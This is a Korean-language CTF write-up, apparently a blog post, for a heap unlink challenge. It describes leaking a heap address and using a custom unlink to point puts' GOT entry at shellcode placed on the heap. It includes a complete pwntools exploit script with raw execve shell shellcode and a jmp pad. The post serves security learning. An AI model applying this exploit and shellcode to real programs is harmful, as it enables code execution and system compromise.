heap unlink문제-chal1
기존에 풀었던 chal1과는 다른 문제!
heap문제이고 unlink는 직접 구현되어 있다.
heap주소를 출력해줘서 릭 가능하다
힙에 쉘코드를 넣어놓고,
puts의 got에 쉘코드의 주소를 넣어주면 된다!
근데, 여기서 문제는 unlink과정에서
주소가 덮어진다는 것이다!
1 prev_size size(0x21) data: 2의 주소
2 여기서부터 입력을 받아요!prev_size size data: 3의 주소 1의 주소
3 prev_size size data: 0 2의 주소
2의 주소를 인자로 받는다!
unlink에서!
2의 데이터를 v1에(3의 주소)
2의 데이터+8을 v2에(1의 주소)
[v1+8]<-v2
[v2]<-v1
v1에는 got-8의 주소를 넣어주고
v2에는 쉘코드 주소를 넣는다!
쉘코드는 jmp
stack과 heap모두에 rwxp권한이 있다!
힙주소 릭 가능!
힙에 쉘코드를 넣어준다!
puts got에 쉘코드 주소를 넣어준다!
v2에는 puts의 got주소를 넣어주고, v1에는 쉘코드의 주소를 넣는다.
v1+8이 망가지므로!
쉘코드 앞부분에 v1+8을 뛰어넘을 수 있도록 jmp 옵코드를 넣어준다!
from pwn import *
got=0x601018
jmp="\xe9\x0b\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s=process('./chal1')
#raw_input()
heap=s.recv(1024)[2:9]
heap=int(heap,16)
payload="a"*8+"b"*8
payload+=p64(heap+48)
payload+=p64(got)
payload+=jmp+shellcode
s.send(payload+'\n')
s.interactive()
s.close()
'시스템 해킹 > cykor' 카테고리의 다른 글
chal2-heap uaf (0) | 2018.02.18 |
---|---|
First-PIE가 걸려 코드영역 주소도 바뀐경우->vsyscall이용 (0) | 2018.01.25 |
ebp-쉘코드, fake ebp, $를 이용한 fsb, fgets의 stdin망가뜨려 while문 벗어나기 (0) | 2018.01.23 |
what-fsb $를 이용한 libc릭, 스택주소릭, fini array를 메인으로 (0) | 2018.01.23 |
contact-공백이용해서 ret덮어버리는 문제 (0) | 2018.01.11 |